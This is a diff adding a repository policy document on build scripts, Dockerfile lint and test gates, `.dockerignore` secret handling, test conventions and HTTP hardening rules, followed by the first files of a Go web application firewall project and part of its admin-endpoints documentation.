+  for development after a fresh clone: runs `bootstrap`, then
+  `install-precommit`, plus any repo-specific initialization), `test`, and
+  `cibuild`. `script/bootstrap` installs all dependencies idempotently and
+  assumes nothing is present: base tools come from nix, apt, brew, or apk
+  (detected in that order; apt runs noninteractive). For node it uses the
+  installed node if present; otherwise it installs a PINNED node version via
+  nvm, first installing nvm itself if missing — from a hash-verified GitHub
+  release archive (never `curl | sh`), with bash installed as an explicit
+  prerequisite since nvm requires bash. yarn is then pinned via
+  `corepack prepare yarn@<version> --activate`. Never install "latest" or "lts";
+  always exact versions. `script/cibuild` runs the CI build: it changes to the
+  repo root, runs `script/bootstrap`, runs `script/check`, and builds the image
+  with the version; the Gitea workflow calls it. **`script/cibuild` runs
+  `script/bootstrap` first**, because the workflow checks out the repo and runs
+  nothing else, while `script/fmt-check` runs the formatter on the host: on a
+  pristine checkout with nothing installed the run dies there, after the
+  containerised gates have passed. **The bootstrap alone is not enough**:
+  `script/bootstrap` installs node and yarn under nvm and leaves neither on the
+  `PATH` of the shell that called it, so a bare `yarn` still exits 127. The host
+  entrypoints that need yarn — `script/fmt` and `script/fmt-check` — therefore
+  source nvm for the pinned node version before invoking it, exactly as
+  `script/bootstrap`'s own install step does. A runner carrying nothing but
+  docker and git then gets through `script/check`. Four further scripts are our
+  own extensions to the standard: `script/check` runs `script/test`,
+  `script/lint` and `script/fmt-check`; `script/precommit` is what the git
+  pre-commit hook runs, and it calls `script/check`; `script/install-precommit`
+  installs the git pre-commit hook (the `make hooks` target shims to it); and
+  `script/projectname` (literally that filename) simply outputs the project's
+  name. Scripts that need the name call `script/projectname` — e.g.
+  `script/docker` assembles its image tag from it — so those scripts stay
+  byte-identical across all repos. Repo-type-specific pre-commit extras (e.g.
+  `go mod tidy` verification in Go repos) belong in `script/precommit`, not in
+  the hook itself. Model scripts are at
+  `https://git.eeqj.de/sneak/prompts/raw/branch/main/script/<name>`. The README
+  must document the provided scripts in an **Entrypoints** section (see the
+  README requirements below).
+
+- Always use Makefile targets (`make fmt`, `make test`, `make lint`, etc.)
+  instead of invoking the underlying tools directly. The Makefile is the single
+  source of truth for how these operations are run.
+
+- The Makefile is authoritative documentation for how the repo is used. Beyond
+  the required targets above, it should have targets for every common operation:
+  running a local development server (`make run`, `make dev`), re-initializing
+  or migrating the database (`make db-reset`, `make migrate`), building
+  artifacts (`make build`), generating code, seeding data, or anything else a
+  developer would do regularly. If someone checks out the repo and types
+  `make<tab>`, they should see every meaningful operation available. A new
+  contributor should be able to understand the entire development workflow by
+  reading the Makefile.
+
+- Every repo should have a `Dockerfile`, and it carries the repo's gates: a
+  `lint` phase and a `test` phase, with the final stage depending on both so the
+  image cannot be built unless they pass. For non-server repos the final stage
+  brings up a development environment; for server repos it is the runtime image.
+  The gate phases and the build stage start from their pinned base images and
+  install what those images lack either inline, as the canonical Go `Dockerfile`
+  below does for `git`, or by running `script/bootstrap`, as the `prompts`
+  repo's own `Dockerfile` does for its yarn packages. The development
+  environment stage installs development prerequisites by running
+  `script/bootstrap` rather than duplicating its installs inline. A stage that
+  runs `script/bootstrap` COPYs `script/` and the dependency manifests
+  (`package.json` + `yarn.lock`, `go.mod` + `go.sum`, etc.) before running it.
+
+- **Linting and testing run in Docker, as phases of the `Dockerfile`.** There is
+  no separate lint file. `script/lint` and `script/test` each build one phase
+  and nothing else:
+
+    ```sh
+    docker build --no-cache --target lint -t "$(script/projectname)-lint" .
+    docker build --no-cache --target test -t "$(script/projectname)-test" .
+    ```
+
+    **A stage that is not the last one in the file is built only when the final
+    stage's chain depends on it, or when `--target` names it.** That is why the
+    two gates are always invoked by name here, and why the final stage carries a
+    `COPY --from=` of a harmless file from each of them: without that edge a
+    plain `docker build .` builds the last stage alone and exits 0 having linted
+    and tested nothing.
+
+    **Every `docker build` in `script/` is tagged**, here and in
+    `script/cibuild` and `script/docker`. An untagged build leaves a dangling
+    image behind on every invocation, on every developer host and every CI
+    runner; a tagged one replaces the previous image.
+
+    Inside a phase the tool is invoked directly — `golangci-lint`, `go test`,
+    `eslint`, `prettier` — never through `make lint` or `script/test`, which are
+    themselves a `docker build` and would recurse into a daemon that does not
+    exist in a build step. Formatting is the exception and stays on the host:
+    `script/fmt` writes the working tree, and `script/fmt-check` is its
+    read-only twin.
+
+    **No lint verdict may come from a host invocation of the linter.** On a
+    shared host golangci-lint reads a result cache keyed on file content rather
+    than location, so a second checkout of the same content is served the first
+    one's findings, and a host-global lock in `$TMPDIR` makes concurrent runs
+    exit non-zero with `parallel golangci-lint is running` — a status a caller
+    cannot tell from real findings. Both have produced wrong verdicts in this
+    org, in both directions. A container has its own cache, its own `TMPDIR` and
+    a digest-pinned binary, so neither is reachable.
+
+- **Any build that runs checks is built with `--no-cache`.** Docker invalidates
+  a `COPY` layer only when the copied content changes, so on an unchanged tree
+  the check `RUN` is served from cache, nothing executes, and the build still
+  exits 0. Every `docker build` in `script/` therefore passes `--no-cache`:
+  `script/lint`, `script/test`, `script/cibuild` and `script/docker` are the
+  four, and there is no fifth — `script/check` runs the two gate phases and
+  `script/fmt-check`, and builds no image of its own. A bare `docker build .` is
+  not evidence that anything ran: a sub-second build reporting success is a
+  cache hit, not a result. Never invalidate by pruning — `docker builder prune`
+  and friends destroy a build cache shared with every other build on the host.
+  When a check is added or changed, prove it works by planting a defect it must
+  catch and watching the run fail on it, then revert the defect. A green run
+  alone shows neither that the check ran nor that it covers what it should.
+
+- **The gate phases are separate stages, and the build stage depends on both.**
+  The lint phase is based on the `golangci/golangci-lint` image (pinned by
+  hash), so lint failures surface in seconds rather than after a full compile,
+  and the test phase is based on the Debian Go image. The canonical Go repo
+  `Dockerfile`:
+
+    ```dockerfile
+    # Lint phase
+    # golangci/golangci-lint:v2.x.x, YYYY-MM-DD
+    FROM golangci/golangci-lint@sha256:... AS lint
+    WORKDIR /src
+    COPY go.mod go.sum ./
+    RUN go mod download
+    COPY . .
+    RUN golangci-lint run --config .golangci.yml ./...
+
+    # Test phase. -race needs cgo and so a C compiler, which the Debian Go
+    # image ships and the alpine one does not.
+    # golang:1.x, YYYY-MM-DD
+    FROM golang@sha256:... AS test
+    WORKDIR /src
+    COPY go.mod go.sum ./
+    RUN go mod download
+    COPY . .
+    RUN go test -timeout 90s -race -cover ./... || \
+        { echo "--- Rerunning with -v for details ---"; \
+          go test -timeout 90s -race -v ./...; exit 1; }
+
+    # Build stage. Nothing is wanted from either phase above; the copies
+    # are what make BuildKit build them first, so this stage cannot run
+    # unless lint and test passed.
+    # golang:1.x-alpine, YYYY-MM-DD
+    FROM golang@sha256:... AS builder
+    COPY --from=lint /src/go.sum /dev/null
+    COPY --from=test /src/go.sum /dev/null
+    RUN apk add --no-cache git
+    # A tar-stream context keeps the sender's file owners, which git refuses.
+    RUN git config --system --add safe.directory /src
+    WORKDIR /src
+    COPY go.mod go.sum ./
+    RUN go mod download
+    COPY . .
+
+    # The VERSION build arg when one is given, otherwise
+    # `git describe --tags --always` on the .git in the build context. With
+    # .git present, a version that is still empty, dev or unknown fails the
+    # build: git is missing or could not read the checkout.
+    ARG VERSION
+    RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \
+        if [ -e .git ]; then \
+            case "$VERSION" in ""|dev|unknown) \
+                echo "version is '$VERSION' although .git is present" >&2; \
+                exit 1 ;; \
+            esac; \
+        fi; \
+        CGO_ENABLED=0 go build -trimpath \
+            -ldflags="-s -w -X main.Version=${VERSION}" \
+            -o /app ./cmd/app/
+
+    # Runtime stage, and the last one
+    FROM alpine@sha256:...
+    COPY --from=builder /app /usr/local/bin/app
+    ENTRYPOINT ["app"]
+    ```
+
+    Key points:
+    - The lint phase uses the `golangci/golangci-lint` image directly (it has
+      both Go and the linter), so nothing needs installing.
+    - `COPY --from=<phase> /src/go.sum /dev/null` is a no-op copy whose only
+      purpose is the ordering edge. BuildKit runs stages in parallel by default,
+      and a stage nothing depends on is not built at all, so without these two
+      lines a red gate would not fail the build.
+    - Keep the runtime stage last, and if you add a stage after it, give it the
+      same two copies. A plain `docker build .` builds the last stage's chain
+      and nothing else.
+    - If the project uses `//go:embed` directives that reference build artifacts
+      (e.g. a web frontend compiled in a separate stage), the lint phase must
+      create placeholder files so the embed directives resolve. Example:
+      `RUN mkdir -p web/dist && touch web/dist/index.html web/dist/style.css`.
+    - If the project requires CGO or system libraries for linting, install them
+      in the lint phase. The `golangci/golangci-lint` image is Debian-based and
+      has no `apk`, so install with `apt-get` under the Debian package name
+      (`libvips-dev`, where alpine says `vips-dev`), and delete the package
+      lists in the same `RUN`, so the layer does not keep them:
+
+        ```dockerfile
+        RUN apt-get update \
+            && apt-get install -y --no-install-recommends libvips-dev \
+            && rm -rf /var/lib/apt/lists/*
+        ```
+
+    - `.dockerignore` lets `.git` into the build context. It keeps out every git
+      `config` at any depth (`**/.git/config`, `**/.git/modules/**/config`): the
+      repository's own, each submodule's under `.git/modules/`, and that of a
+      submodule keeping its own `.git` directory. `git describe` does not need
+      them, and each can hold a credential: a password in a remote URL, or the
+      token the CI checkout step stores there. A submodule whose name has a
+      `config` segment (`config`, `deploy/config`, `config/lib`) loses its whole
+      git directory to `**/.git/modules/**/config`, and Go's version stamping
+      then fails the build: give it a name without that segment
+      (`git submodule add --name`). The stage that compiles has `git` (the
+      Debian Go image has it; an alpine one needs `apk add --no-cache git`) and
+      takes the version from the `VERSION` build argument when one is given,
+      otherwise from `git describe --tags --always`. That gives the tag on a
+      tagged commit; on a later commit, the tag, the number of commits since it
+      and the short commit (`v1.2.3-4-gabc1234`); and the short commit when no
+      tag is reachable. The stage that compiles also marks its working directory
+      safe for git (`git config --system --add safe.directory /src`): a context
+      sent as a tar stream keeps the sender's file owners, and git refuses a
+      checkout owned by another user, so the version would come out empty.
+      `ARG VERSION` has no default, and the build fails if the context carries
+      `.git` and the version still comes out empty, `dev` or `unknown`. A plain
+      `docker build .` with no build arguments must succeed; a Dockerfile that
+      refuses an empty build argument drops that refusal and keeps the argument.
+
+- Every repo should have a Gitea Actions workflow (`.gitea/workflows/`) that
+  runs `script/cibuild` on push, and checks out the repo as its only other step.
+  That script bootstraps, runs the gate phases, and then builds the image, so a
+  successful run means every check passed; a bare `docker build .` does not
+  carry the same guarantee, because its gate phases may come from the cache. The
+  image build is uncached and so runs the gate phases a second time. That is the
+  price of the rule above, and it is worth paying: the image that ships is built
+  from a run of its own gates rather than from a cache entry. A separate
+  workflow limited to `main` by a `branches` list under `on: push` cannot be
+  checked by review: to try a change to it, add the feature branch to that list
+  and push, then remove the branch from the list again before merging. Keep any
+  job in it that publishes behind `if: github.ref_name == 'main'`, so the run
+  from the feature branch publishes nothing.
+
+- Use platform-standard formatters: `black` for Python, `prettier` for
+  JS/CSS/Markdown/HTML, `go fmt` for Go. Always use default configuration with
+  two exceptions: four-space indents (except Go), and `proseWrap: always` for
+  Markdown (hard-wrap at 80 columns). Documentation and writing repos (Markdown,
+  HTML, CSS) should also have `.prettierrc` and `.prettierignore`.
+
+- Pre-commit hook: runs `script/precommit`, which calls `script/check`. If local
+  testing is not possible in the repo, `script/precommit` may skip `script/test`
+  and run only `script/lint` and `script/fmt-check`. The hook is installed by
+  `script/install-precommit`; the Makefile must provide a `make hooks` target
+  that shims to it.
+
+- All repos with software must have tests that run via the platform-standard
+  test framework (`go test`, `pytest`, `jest`/`vitest`, etc.). If no meaningful
+  tests exist yet, add the most minimal test possible — e.g. importing the
+  module under test to verify it compiles/parses. There is no excuse for
+  `make test` to be a no-op.
+
+- `make test` must complete in under 60 seconds. That is the hard cap, and a
+  suite that exceeds it fails. Under 20 seconds is the target. A suite between
+  20 and 60 seconds is still green, but the overage must be filed as an
+  improvement bug against that repo. Add a 90-second timeout to the test
+  invocation (`go test -timeout 90s`). The backstop deliberately sits above the
+  hard cap so that it catches a genuinely hung test rather than a merely slow
+  one.
+
+- **The test command should use the conditional verbose rerun pattern.** Run
+  tests without `-v` (verbose) first. If tests fail, automatically rerun with
+  `-v` to show full output. This keeps CI logs and `docker build` output clean
+  on success (just package/suite summaries) while providing full diagnostic
+  detail on failure (every test case, every assertion). The command lives in the
+  `test` phase of the `Dockerfile`, since `script/test` builds that phase; the
+  Makefile form below is the same pattern for any repo-local invocation:
+
+    ```makefile
+    test:
+    	@<test-command> || \
+    		{ echo "--- Rerunning with -v for details ---"; \
+    		  <test-command-with-v>; exit 1; }
+    ```
+
+    Go example:
+
+    ```makefile
+    test:
+    	@go test -count=1 -timeout 90s -race -cover ./... || \
+    		{ echo "--- Rerunning with -v for details ---"; \
+    		  go test -count=1 -timeout 90s -race -v ./...; exit 1; }
+    ```
+
+    `-count=1` is required on both invocations: it defeats Go's test _result_
+    cache, so neither run can report a stored pass in place of running the
+    tests. It leaves the build cache alone, so it costs the runtime of the suite
+    and no recompilation.
+
+    That cache is Go's own, separate from Docker's layer cache. Go stores a
+    passing result in its cache directory (`GOCACHE`), and when the same tests
+    run again on unchanged code it prints that result, marked `(cached)`,
+    without running them. That matters on a developer's machine, where this
+    target runs and the directory lasts from one run to the next. The `test`
+    phase of the `Dockerfile` needs no `-count=1`: its base image holds no
+    result for this repo's tests and nothing before its `go test` step runs a
+    test, so there is nothing to replay. `--no-cache` (above) is what makes that
+    step run on an unchanged tree.
+
+    Python example:
+
+    ```makefile
+    test:
+    	@python -m pytest || \
+    		{ echo "--- Rerunning with -v for details ---"; \
+    		  python -m pytest -v; exit 1; }
+    ```
+
+    The `exit 1` ensures the target always fails after a rerun — the first run
+    already proved the tests are broken, so the build must not pass even if a
+    flaky test happens to succeed on the second attempt. The rerun exists solely
+    for diagnostic output.
+
+- Docker builds must complete in under 5 minutes.
+
+- `make check` must not modify any files in the repo. Tests may use temporary
+  directories.
+
+- `main` must always pass `make check`, no exceptions.
+
+- Never commit secrets. `.env` files, credentials, API keys, and private keys
+  must be in `.gitignore`. No exceptions.
+
+- `.gitignore` should be comprehensive from the start: OS files (`.DS_Store`),
+  editor files (`.swp`, `*~`), in-repo agent scratch directories (`.claude/`),
+  language build artifacts, and `node_modules/`. Fetch the standard `.gitignore`
+  from `https://git.eeqj.de/sneak/prompts/raw/branch/main/.gitignore` when
+  setting up a new repo. These patterns are written to `.gitignore`'s own
+  semantics, in which an unanchored pattern already matches at every depth; they
+  are not a `.dockerignore` and must not be transplanted into one unmodified.
+
+- **`.dockerignore` does not use `.gitignore` semantics, and copying patterns
+  across unmodified leaves secrets in the build context.** Docker matches with
+  `moby/patternmatcher`: `filepath.Match` semantics plus a `**` extension, so
+  `*` does not cross `/` and a pattern without a leading `**/` is anchored at
+  the build-context root. A `.dockerignore` listing `.env`, `*.pem` and `*.key`
+  therefore excludes only the copies at the repository root, while `config/.env`
+  and `certs/server.key` still reach the context and can land in an image layer
+  — which is more dangerous than a short file with no secret patterns at all,
+  because it reads as solved and stops anyone looking. Give every
+  depth-independent pattern the `**/` prefix and leave only genuinely
+  root-anchored entries unprefixed: `.claude`, and the repo's own host-built
+  binary, written `/myapp` and never `**/myapp`, which would also match
+  `cmd/myapp/` and delete the package directory from the context. Matching is
+  case-sensitive, and an ALL-CAPS twin per pattern still misses `Server.Key`, so
+  secret names use character ranges — `**/*.[kK][eE][yY]`, `**/*.[pP][eE][mM]`,
+  and likewise for `.envrc` and the extensionless SSH keys. Where such a pattern
+  also catches something the build needs, re-include it with a negation
+  (`!docs/example.env`); deleting the pattern reopens the exposure for every
+  other file it covers. Fetch the standard `.dockerignore` from
+  `https://git.eeqj.de/sneak/prompts/raw/branch/main/.dockerignore` and extend
+  it with the repo's own artifacts.
+
+- **In-repo agent scratch belongs in both files, written to each file's own
+  semantics.** `.claude/` holds one worktree per in-flight agent — an entire
+  additional checkout of the repo — so under `COPY . .` the build context
+  inflates by a multiple of the repo and another session's unreviewed work can
+  be copied into an image layer. In `.gitignore` the entry is `.claude/`,
+  unanchored. In `.dockerignore` it is `.claude`, anchored and with **no** `**/`
+  prefix, because the prefixed form would also delete any nested directory of
+  that name from the build. Anchoring carries a known gap that the canonical
+  `.dockerignore` states in its own comment, since consuming repos receive the
+  file and not the tracker: the directory is created in the agent's working
+  directory, so a repo running agents in subdirectories still ships
+  `services/api/.claude/` and must add its own anchored entry there.
+
+- **A plain `docker build .` of a clone stamps the version that
+  `git describe --tags --always` gives**, derived from the `.git` in the build
+  context as the canonical `Dockerfile` above shows. Without its failure check,
+  a missing `git` or an unreadable checkout would leave `-X main.Version=` empty
+  and the build would still exit 0. `script/docker` and `script/cibuild` pass
+  the version they compute on the host; it takes precedence. They do this
+  byte-identically across repos:
+
+    ```sh
+    # Own line: a failing command substitution inside an argument does not
+    # trip `set -e`, so the inline form degrades to an empty constant.
+    version="$(git describe --tags --always --dirty 2>/dev/null || true)"
+    [ -n "$version" ] || version="unknown"
+    docker build --no-cache \
+        --build-arg VERSION="$version" \
+        -t "$(script/projectname)" .
+    ```
+
+    `--always` makes an untagged repo yield an abbreviated commit hash rather
+    than failing, and the `[ -n "$version" ]` line is the single place the
+    fallback is applied — a live check that fires on a build from an export with
+    no `.git` and on a repository with no commits yet. Do not fold it into the
+    substitution as `|| echo unknown`, which makes the guard unreachable. The
+    Dockerfile's side is `ARG VERSION` in the stage that compiles, declared
+    there because `ARG` is stage-scoped; passing `VERSION` to a repo whose
+    Dockerfile declares no such `ARG` is ignored and costs nothing, which is why
+    the scripts stay byte-identical. One consequence for CI: the standard
+    checkout action clones shallow and fetches no tags, so a repo that embeds a
+    tag-derived version must set `fetch-depth: 0` on its checkout step.
+
+- **Verify `.dockerignore` by enumerating the image, not by reading the
+  patterns.** Plant files at the root _and_ at least two directories deep, build
+  a probe image that does `COPY . .`, and list what actually landed
+  (`docker run --rm --entrypoint find IMAGE /app`). The `transferring context`
+  size is not a substitute: a nested secret is a few bytes, and BuildKit
+  transfers only the delta from the previous build.
+
+- **No build artifacts in version control.** Code-derived data (compiled
+  bundles, minified output, generated assets) must never be committed to the
+  repository if it can be avoided. The build process (e.g. Dockerfile, Makefile)
+  should generate these at build time. Notable exception: Go protobuf generated
+  files (`.pb.go`) ARE committed because repos need to work with `go get`, which
+  downloads code but does not execute code generation.
+
+- Never use `git add -A` or `git add .`. Always stage files explicitly by name.
+
+- Never force-push to `main`.
+
+- Make all changes on a feature branch. You can do whatever you want on a
+  feature branch.
+
+- `.golangci.yml` is standardized. The vendored copy in a consuming repo must
+  _NEVER_ be modified by an agent: fetch it from
+  `https://git.eeqj.de/sneak/prompts/raw/branch/main/.golangci.yml` and keep it
+  byte-identical, so that no repo can quietly loosen its own linting. Linter
+  configuration changes are made to the canonical copy in the `prompts` repo and
+  reach consuming repos by re-vendoring; an agent may open a PR against
+  canonical, which only the user merges. One list is exempt from byte-identity,
+  because it cannot be written once for every repo: the `deny` list of the
+  `test-support` depguard rule, where a repo names its own test-support packages
+  by full import path. A repo adds entries there and changes nothing else, and a
+  re-vendor carries its entries forward. The canonical golangci-lint version is
+  v2.14.0 (released 2026-09-24), pinned as the digest of the lint phase's base
+  image
+  (`golangci/golangci-lint@sha256:ad862ba6b3798cbe0fd9fd7408d498fd74fbd2623a92406b2fd3898faf0bf98f`,
+  which reports `2.14.0 built with go1.27.0 from 114493f9`). A module's `go`
+  directive must not name a newer Go minor version than the one golangci-lint
+  was built with, or golangci-lint refuses to lint it: this release lints
+  `go 1.27.1` but not `go 1.28`. That digest is the only pin, since no repo
+  installs golangci-lint on the host. A repo sets the lint phase digest to the
+  one named here and re-vendors `.golangci.yml` in the same commit, whichever of
+  the two prompted the change: the canonical copy can name linters that an older
+  golangci-lint rejects, and a newer golangci-lint can add linters that
+  `default: all` switches on until the canonical copy disables them.
+
+- **`script/bootstrap` installs a pinned tool by comparing versions, never by
+  testing presence.** An `if ! command -v <tool>; then install; fi` guard tests
+  `PATH` only, so on an already-provisioned machine the pin is inert and a
+  version bump is a silent no-op — while the Dockerfile, installing into a clean
+  image, gets the pinned version, so a local `make check` and `make docker` can
+  disagree about what the tool even is. The canonical form:
+    - compares the installed version against the pin over the **whole** version
+      token; a parser that stops at the first `-` reports `2.12.2` for a host
+      running `2.12.2-rc1` and skips the install;
+    - treats absent, non-zero, empty or unrecognised `--version` output as a
+      mismatch, so the failure direction is a redundant install and never a
+      skipped one;
+    - after installing, re-resolves the binary the way callers do — `hash -r`,
+      then through `PATH`, not through the directory the installer wrote to —
+      and fails naming the resolved path, since an install that a shadowing
+      binary hides succeeds while changing nothing any caller sees;
+    - is actually called, and prints the version on both success paths: a
+      function defined and never invoked has the same exit status and the same
+      empty output as one that worked.
+
+    Keep it POSIX sh: no arrays, no `[[`, no `grep -P`.
+
+    A Go tool a repo needs on the host is installed with `go install` pinned to
+    a commit hash (`go install <package>@<commit hash>`). It is never tracked as
+    a `go.mod` tool dependency or through a `tools.go` file, either of which
+    pulls the tool's own dependencies into the repo's `go.mod` and `go.sum`.
+
+- When pinning images or packages by hash, add a comment above the reference
+  with the version and date (YYYY-MM-DD).
+
+- Use `yarn`, not `npm`.
+
+- Write all dates as YYYY-MM-DD (ISO 8601).
+
+- Simple projects should be configured with environment variables.
+
+- Dockerized web services listen on port 8080 by default, overridable with
+  `PORT`.
+
+- **HTTP/web services must be hardened for production internet exposure before
+  tagging 1.0.** This means full compliance with security best practices
+  including, without limitation, all of the following:
+    - **Security headers** on every response:
+        - `Strict-Transport-Security` (HSTS) with `max-age` of at least one year
+          and `includeSubDomains`.
+        - `Content-Security-Policy` (CSP) with a restrictive default policy
+          (`default-src 'self'` as a baseline, tightened per-resource as
+          needed). Never use `unsafe-inline` or `unsafe-eval` unless
+          unavoidable, and document the reason.
+        - `X-Frame-Options: DENY` (or `SAMEORIGIN` if framing is required).
+          Prefer the `frame-ancestors` CSP directive as the primary control.
+        - `X-Content-Type-Options: nosniff`.
+        - `Referrer-Policy: strict-origin-when-cross-origin` (or stricter).
+        - `Permissions-Policy` restricting access to browser features the
+          application does not use (camera, microphone, geolocation, etc.).
+    - **Request and response limits:**
+        - Maximum request body size enforced on all endpoints (e.g. Go
+          `http.MaxBytesReader`). Choose a sane default per-route; never accept
+          unbounded input.
+        - Maximum response body size where applicable (e.g. paginated APIs).
+        - `ReadTimeout` and `ReadHeaderTimeout` on the `http.Server` to defend
+          against slowloris attacks.
+        - `WriteTimeout` on the `http.Server`.
+        - `IdleTimeout` on the `http.Server`.
+        - Per-handler execution time limits via `context.WithTimeout` or
+          chi/stdlib `middleware.Timeout`.
+    - **Authentication and session security:**
+        - Rate limiting on password-based authentication endpoints. API keys are
+          high-entropy and not susceptible to brute force, so they are exempt.
+        - CSRF tokens on all state-mutating HTML forms. API endpoints
+          authenticated via `Authorization` header (Bearer token, API key) are
+          exempt because the browser does not attach these automatically.
+        - Passwords stored using bcrypt, scrypt, or argon2 — never plain-text,
+          MD5, or SHA.
+        - Session cookies set with `HttpOnly`, `Secure`, and `SameSite=Lax` (or
+          `Strict`) attributes.
+    - **Reverse proxy awareness:**
+        - True client IP detection when behind a reverse proxy
+          (`X-Forwarded-For`, `X-Real-IP`). The application must accept
+          forwarded headers only from a configured set of trusted proxy
+          addresses — never trust `X-Forwarded-For` unconditionally.
+    - **CORS:**
+        - Authenticated endpoints must restrict `Access-Control-Allow-Origin` to
+          an explicit allowlist of known origins. Wildcard (`*`) is acceptable
+          only for public, unauthenticated read-only APIs.
+    - **Error handling:**
+        - Internal errors must never leak stack traces, SQL queries, file paths,
+          or other implementation details to the client. Return generic error
+          messages in production; detailed errors only when `DEBUG` is enabled.
+    - **TLS:**
+        - Services never terminate TLS directly. They are always deployed behind
+          a TLS-terminating reverse proxy. The service itself listens on plain
+          HTTP. However, HSTS headers and `Secure` cookie flags must still be
+          set by the application so that the browser enforces HTTPS end-to-end.
+
+    This list is non-exhaustive. Apply defense-in-depth: if a standard security
+    hardening measure exists for HTTP services and is not listed here, it is
+    still expected. When in doubt, harden.
+
+- `README.md` is the primary documentation. Required sections:
+    - **Description**: First line must include the project name, purpose,
+      category (web server, SPA, CLI tool, etc.), license, and author. Example:
+      "µPaaS is an MIT-licensed Go web application by @sneak that receives
+      git-frontend webhooks and deploys applications via Docker in realtime."
+    - **Getting Started**: Copy-pasteable install/usage code block.
+    - **Entrypoints**: Opens by stating that the repo adheres to the
+      [Scripts to Rule Them All](https://github.com/github/scripts-to-rule-them-all)
+      standard (with that link), then documents each provided `script/`
+      entrypoint and its purpose.
+    - **Rationale**: Why does this exist?
+    - **Design**: How is the program structured?
+    - **TODO**: Update meticulously, even between commits. When planning, put
+      the todo list in the README so a new agent can pick up where the last one
+      left off.
+    - **License**: MIT, GPL, or WTFPL. Ask the user for new projects. Include a
+      `LICENSE` file in the repo root and a License section in the README.
+    - **Author**: [@sneak](https://sneak.berlin).
+
+- First commit of a new repo should contain only `README.md`.
+
+- Go module root: `sneak.berlin/go/<name>`. Always run `go mod tidy` before
+  committing.
+
+- Use SemVer.
+
+- Database migrations live in `internal/db/migrations/` and must be embedded in
+  the binary.
+    - `000_migration.sql` — contains ONLY the creation of the migrations
+      tracking table itself. Nothing else.
+    - `001_schema.sql` — the full application schema.
+    - **Pre-1.0.0:** never add additional migration files (002, 003, etc.).
+      There is no installed base to migrate. Edit `001_schema.sql` directly.
+    - **Post-1.0.0:** add new numbered migration files for each schema change.
+      Never edit existing migrations after release.
+
+- All repos should have an `.editorconfig` enforcing the project's indentation
+  settings.
+
+- Avoid putting files in the repo root unless necessary. Root should contain
+  only project-level config files (`README.md`, `AGENTS.md`, `Makefile`,
+  `Dockerfile`, `LICENSE`, `.gitignore`, `.editorconfig`, `REPO_POLICIES.md`,
+  and language-specific config). Everything else goes in a subdirectory.
+  Canonical subdirectory names:
+    - `bin/` — executable scripts and tools
+    - `cmd/` — Go command entrypoints; thin only: one `main.go` per binary whose
+      body is a single call into `internal/` or `pkg/`, no project logic in
+      `cmd/`
+    - `configs/` — configuration templates and examples
+    - `deploy/` — deployment manifests (k8s, compose, terraform)
+    - `docs/` — documentation and markdown (README.md stays in root)
+    - `internal/` — Go internal packages
+    - `internal/db/migrations/` — database migrations
+    - `pkg/` — Go library packages
+    - `share/` — systemd units, data files
+    - `static/` — static assets (images, fonts, etc.)
+    - `web/` — web frontend source
+
+- When setting up a new repo, files from the `prompts` repo may be used as
+  templates. Fetch them from
+  `https://git.eeqj.de/sneak/prompts/raw/branch/main/<path>`.
+
+- New repos must contain at minimum:
+    - `README.md`, `.git`, `.gitignore`, `.editorconfig`
+    - `LICENSE`, `REPO_POLICIES.md` (copy from the `prompts` repo)
+    - `Makefile`
+    - `script/` entrypoints (`bootstrap`, `setup`, `projectname`, `test`,
+      `lint`, `fmt`, `fmt-check`, `check`, `docker`, `cibuild`, `precommit`,
+      `install-precommit`)
+    - `Dockerfile`, `.dockerignore`
+    - `.gitea/workflows/check.yml`
+    - Go: `go.mod`, `go.sum`, `.golangci.yml`
+    - JS: `package.json`, `yarn.lock`, `.prettierrc`, `.prettierignore`
+    - Python: `pyproject.toml`
+
+- Guidance for coding agents lives in one `AGENTS.md` at the repository root. It
+  is never committed under a file or directory named after one agent tool, such
+  as `CLAUDE.md` or `.claude/`, and never split into separate memory files.

cmd/smallwebwaf/main.go

@@ -0,0 +1,20 @@
+// Command smallwebwaf is a web application firewall. `smallwebwaf rproxy` is
+// the reverse proxy in front of one app, which asks servewaf about each request.
+// `smallwebwaf servewaf` decides, for many sites, and keeps what lasts.
+// `smallwebwaf healthcheck` is the container's health check. Everything it does
+// is in internal/smallwebwaf.
+package main
+
+import (
+	"os"
+
+	"sneak.berlin/go/smallwebwaf/internal/smallwebwaf"
+)
+
+// Version is the version of the binary, set when it is built with
+// -ldflags "-X main.Version=...".
+var Version = "dev" //nolint:gochecknoglobals // the linker sets it
+
+func main() {
+	os.Exit(smallwebwaf.Main(Version))
+}

deploy/example-app/Dockerfile

@@ -0,0 +1,20 @@
+# An app built on the smallwebwaf image, as under "Deployment" in
+# SPEC.md, which script/example-app builds and checks. The app is
+# busybox's web server, from the nixpkgs in the image, serving one page;
+# a real app copies in its own binary instead.
+#
+# A real app names the smallwebwaf image by digest. This one takes the
+# image script/example-app has just built, or else the one `make docker`
+# builds.
+ARG SMALLWEBWAF_IMAGE=smallwebwaf
+FROM ${SMALLWEBWAF_IMAGE}
+
+# Packages the app needs, from the nixpkgs in the image.
+RUN nix-env -iA nixpkgs.busybox
+
+# The app's page, and a user of its own to run it.
+RUN mkdir /var/www && echo 'hello from the example app' > /var/www/index.html
+RUN useradd --system --no-create-home --shell /usr/sbin/nologin app
+
+# The app's runit service.
+COPY --chmod=755 app.run /etc/service/app/run

deploy/example-app/app.run

@@ -0,0 +1,9 @@
+#!/usr/bin/env bash
+set -euo pipefail
+
+main() {
+    sleep 1
+    exec chpst -u app:app busybox httpd -f -p 127.0.0.1:8081 -h /var/www
+}
+
+main "$@"

docs/admin-endpoints.md

@@ -0,0 +1,60 @@
+# Admin endpoints
+
+The endpoints under `/_smallwebwaf/`, what each takes and what each answers.
+`smallwebwaf servewaf` answers them at its own address, on the private network.
+"Admin endpoints" in [`SPEC.md`](../SPEC.md) says how their tokens work.
+
+- `GET /_smallwebwaf/healthz`: `200` and `ok`, to anyone.
+- `GET /_smallwebwaf/metrics`: the metrics, for `SWWAF_METRICS_TOKEN` (see
+  [`metrics.md`](metrics.md)).
+- `GET /_smallwebwaf/bans`: every ban held, under `bans`, each as `bans.json`
+  lists it. Needs `SWWAF_ADMIN_TOKEN`, as do the three below.
+- `POST /_smallwebwaf/bans`: bans a netblock. The body is a JSON object of
+  `netblock`, `duration` and, if you like, `reason`. `netblock` is a netblock
+  such as `203.0.113.0/24`, or a client's address, which bans its IPv4 netblock
+  (`SWWAF_BAN_SCOPE_V4_PREFIX`) or its IPv6 group. `duration` is a duration such
